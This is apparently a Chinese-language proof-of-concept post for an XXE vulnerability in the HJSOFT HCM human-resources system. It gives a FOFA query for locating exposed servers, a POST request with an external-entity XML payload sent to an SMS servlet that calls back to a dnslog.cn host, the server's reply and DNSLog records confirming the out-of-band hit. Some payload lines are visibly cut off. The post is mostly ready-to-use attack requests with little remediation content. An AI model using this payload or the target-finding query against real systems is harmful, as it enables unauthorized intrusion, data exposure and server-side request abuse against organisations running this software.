北京宏景世纪软件股份有限公司人力资源信息管理系统存在 xxe 漏洞

1、fofa

app="HJSOFT-HCM"

2、部分界面如下

3、POC

```
POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host:
User-Agent: python-requests/2.31.0
Content-Length: 127
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM
```

"http://xxx.dnslog.cn">]><r><a>&sp;</r>

```
POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host: [redacted]080
User-Agent: python-requests/2.31.0
Content-Length: 119
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml

<?xml version="1.0" ?>
  <!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://2bedkc.dnslog.c
    <a>&sp;</a >
  </r>
```

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
x-frame-options: SAMEORIGIN
Set-Cookie: JSESSIONID=CF681C524AAC69FC418E87DF738E5248; [redacted]
Content-Type: text/xml;charset=ISO-8859-1
Vary: Accept-Encoding
Date: Wed, 18 Oct 2023 01:34:55 GMT
Content-Length: 68

<ZWTSMSMessage type="resp">
  <Status>
  </Status>
</ZWTSMSMessage>
```

DNSLog.cn

Get SubDomain | Refresh Record

2bedkc.dnslog.cn

DNS Query Record	IP Address	Created Time
2bedkc.dnslog.cn	[redacted]	2023-10-18 09:34:56
2bedkc.dnslog.cn	[redacted]	2023-10-18 09:34:56